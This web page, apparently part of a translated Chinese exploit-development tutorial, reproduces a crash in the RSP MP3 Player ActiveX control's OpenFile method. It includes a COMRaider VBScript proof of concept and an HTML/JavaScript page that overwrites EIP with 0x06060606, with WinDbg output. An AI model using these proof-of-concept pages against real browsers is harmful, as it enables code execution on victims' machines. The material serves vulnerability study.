返回介绍

崩溃重现

发布于 2025-01-03 23:32:54 字数 3245 浏览 0 评论 0 收藏 0

下载 RSP MP3 Player 并安装. 转到 rspmp3ocx320sw.ocx 文件所在文件夹,执行

regsvr32 rspmp3ocx320sw.ocx

注册.ocx 控件. 你能看到一个弹框说文件已经成功注册. 接着下载 COMRaider. COMRaider 是一个很好用的 ActiveX Fuzzer 工具. 用这个工具可以轻易得到 POC. 看看原始的 exploit 可以知道崩溃出现在 OpenFile 函数. 如果我们只 Fuzzing 这个函数会得到 14 个异常例子. 我没有花时间测试所有的文件,但我怀疑如果你测试完所有的文件会发现大量的可利用的崩溃!

如果我们看下面这个造成崩溃的文件,可以看到它非常简单,类似于 exploit-db 那个。

<?XML version='1.0' standalone='yes' ?>
<package><job id='DoneInVBS' debug='false' error='true'>
<object classid='clsid:3C88113F-8CEC-48DC-A0E5-983EF9458687' id='target' />
<script language='vbscript'>
 
'File Generated by COMRaider v0.0.133 - http://labs.idefense.com
 
'Wscript.echo typename(target)
 
'for debugging/custom prolog
targetFile = "C:\Documents and Settings\Administrator\Desktop\RSP MP3 Player\rspmp3ocx320sw.ocx"
prototype  = "Function OpenFile ( ByVal Inputfile As String )"
memberName = "OpenFile"
progid   = "RSPMP3_320.RSPMP3"
argCount   = 1
 
arg1=String(1044, "A")
target.OpenFile arg1 
 
</script></job></package>

我花费了一点时间把它从 vb 转为 js. 我们可以控制 EIP 或 SEH .但这不是我们关心的. 我们想要从堆喷射中选一个可预测的指针覆写 EIP.

<html>
  <head>
  <object id="Oops" classid='clsid:3C88113F-8CEC-48DC-A0E5-983EF9458687'></object>
  </head>
  <body>
  <script>
   
  pointer='';
  for (counter=0; counter<=1000; counter++) pointer+=unescape("%06");
  Oops.OpenFile(pointer);
   
  </script>
</body>
</html>

调试结果如下:

eax=000003ea ebx=00000001 ecx=0000003c edx=0483fd08 esi=03ff0f64 edi=04840000
eip=03ed2fb7 esp=04826e90 ebp=0483ff9c iopl=0     nv up ei pl nz ac pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000       efl=00010217
rspmp3ocx1+0x2fb7:
03ed2fb7 f3a5      rep movs dword ptr es:[edi],dword ptr [esi]
0:014> g
(87c.f6c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=06060606 edx=7c9032bc esi=00000000 edi=00000000
eip=06060606 esp=04826ac0 ebp=04826ae0 iopl=0     nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000       efl=00010246
06060606 ??        ???
0:014> d 06060606
06060606  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
06060616  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
06060626  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
06060636  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
06060646  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
06060656  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
06060666  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
06060676  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????

可以看到 EIP 被覆盖为 0x06060606.(其中一个可预测的指针) 然后执行流就报错了因为我们没有写任何东西在 0x06060606.

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据
    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文